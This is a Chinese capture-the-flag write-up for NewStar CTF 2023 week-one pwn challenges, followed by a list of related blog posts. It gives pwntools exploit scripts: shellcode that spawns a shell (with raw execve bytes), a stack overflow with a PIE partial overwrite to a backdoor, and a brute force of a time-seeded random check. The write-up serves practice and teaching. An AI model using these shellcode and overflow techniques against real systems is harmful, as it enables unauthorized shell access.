WEEK1 PWN

1.ezshellcode

直接sendline(shellcode)即可

exp:

from pwn import *
p = remote("node4.buuoj.cn",29374)
#p = process('/home/miyu/Desktop/ezshellcode') context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload = shellcode
p.sendlineafter('Show me your magic\n',payload)
p.interactive()

pwntools生成的shellcode和\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05都能过

2.p1eee

开启了PIE,地址的后三位(1.5字节)是随机的

发现了system(/bin/sh),于是我们直接把后两个字节改为126C即可

exp:

from pwn import *
#p = process('/home/miyu/Desktop/pwn (4)')
p = remote("node4.buuoj.cn",29573)
#gdb.attach(p)
offset = 0x20+8
p.sendline(b'a'*offset+p64(0x126C))
p.interactive()

3.newstar shop

通过购买机制让金钱变成负值即可,然后int型变量转化为unsigned int型变量即可进入后门

4.Random

以时间作为随机数种子,生成了v8,然后要求我们输入v6,当v8=v6时才能进入if里,我们可以使用与远程环境一样的libc版本,也以time(0)作为随机数种子

libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
a=libc.random()
p.sendline(str(a))

我们需要让v4%2=1,v3='0'才可以构造出system($0)

system($0)是和system(/bin/sh)等价的

所以我们要对后两位随机数进行爆破,直到满足v4%2=1,v3='0'为止

每次爆破后需要暂停一秒,以刷新时间种子

完整exp如下:

from pwn import *
from LibcSearcher import *
from ctypes import *
for i in range(100):
p = remote("node4.buuoj.cn",27502)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
try:
a=libc.random()
b=libc.random()
c=libc.random()
if b%5==2:
if c%2==1:
p.sendline(str(a))
p.interactive()
except:
continue
finally:
p.close()
sleep(1)

关于python中try、except、finally的用法,可以参考:

https://blog.csdn.net/weixin_44828950/article/details/91471459

Newstar CTF 2023的更多相关文章

  1. NewStarCTF 公开赛 2022 RE WP

    Week 2 Re 前可见古人,后得见来者 chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43, 0x7D, 0 ...

  2. 个人CTF资源聚合

    i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...

  3. 暑假CTF训练一

    暑假CTF训练一 围在栅栏中的爱 题目: 最近一直在好奇一个问题,QWE到底等不等于ABC? -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- ...

  4. Sharif University CTF 2016 -- Login to System (PWN 200)

    EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...

  5. 入CTF坑必不可少的地方-保持更新

    0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...

  6. v0lt CTF安全工具包

    0×00 v0lt v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具.实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这 ...

  7. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  8. Security Tools (Contain CTF tools)

    From now on I will start to have fun with CTF and other security games or challenges. And I am going ...

  9. 隐写-CTF中图片隐藏文件分离方法总结

    0x00 前言 在安全的大趋势下,信息安全越来越来受到国家和企业的重视,所以CTF比赛场次越来越多,而且比赛形式也不断的创新,题目也更加新颖有趣,对选手的综合信息安全能力有一个较好的考验,当然更好的是 ...

  10. 如何在CTF中当搅屎棍

    论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...

随机推荐

  1. nacos连接不上配置的坑

    问题: 今天在使用nacos时,发现怎么样都连接不上配置 思路: 毋庸置疑这个肯定是配置问题,下面是我现在的配置 nacos: username: nacos password: nacos serv ...

  2. Kali Sublist3r 报错解决办法

    直接将Sublist3r.py中文件的内容替换为下面的即可 具体的更改的东西改了很多地方就不细说了,直接复制粘贴 如果遇到Error: Virustotal probably now is block ...

  3. RTC+AI|“即智”数智人创新内容生产体验,为企业降本增效再提速

    号称"史上最卷"的618年中大促落下帷幕,几大电商巨头在直播投入和短视频内容建设上持续加码,短视频+直播电商的营销模式成为618期间的主要输出. 以某美妆专场直播间为例,主播现场手 ...

  4. Stable Diffusion生成图片的参数查看与抹除方法

    前几天分享了几张Stable Diffusion生成的艺术二维码,有同学反映不知道怎么查看图片的参数信息,还有的同学问怎么保护自己的图片生成参数不会泄露,这篇文章就来专门分享如何查看和抹除图片的参数. ...

  5. linux 字符集与编码格式相关

    字符集:​多个字符的集合. # 书写系统字母与符号的集合. 字符编码:​把 字符集 中的字符 编码为(映射)指定集合中的某一对象. # 以便文本在计算机中存储和通过通信网络的传递 查看文件的的编码格式 ...

  6. CMDB 相关

    CMDB 术语 CI(配置项) 配置管理解决方案(如CMDB)中的基本有形或无形实体. 为了交付IT服务而需要管理的任何组件. 通常包括IT服务.硬件.软件.架构.人员和正式文档(如流程文档和sla) ...

  7. 用python selenium提取网页中的所有<a>标签中的超级链接地址

    urls = driver.find_elements_by_xpath("//a") for url in urls: print(url.get_attribute(" ...

  8. 基于md5加密的模拟管理员登录系统

    import os import pandas as pd def md5(string:str=''):     import hashlib     md5 = hashlib.md5()     ...

  9. vue中使用Tinymce

    1.安装tinymce编辑器 npm i tinymcenpm i @tinymce/tinymce-vue 或: yarn add tinymce yarn add @tinymce/tinymce ...

  10. mall :rabbit项目源码解析

    目录 一.mall开源项目 1.1 来源 1.2 项目转移 1.3 项目克隆 二.RabbitMQ 消息中间件 2.1 rabbit简介 2.2 分布式后端项目的使用流程 2.3 分布式后端项目的使用 ...